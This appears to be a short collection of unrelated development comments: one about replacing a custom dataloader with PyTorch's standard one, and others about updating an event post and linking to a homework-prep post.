@cr-assafbendavid  I decided not to touch the lightning code. Instead I replace my dataloader with the standard one from torch, fortunately, my task allows me to it for a predict method.


Update fall event post with schedule info

If we're updating this post, should we link to the prep hw post?

If we're updating this post, should we link to the prep hw post?

Great catch; done, thanks!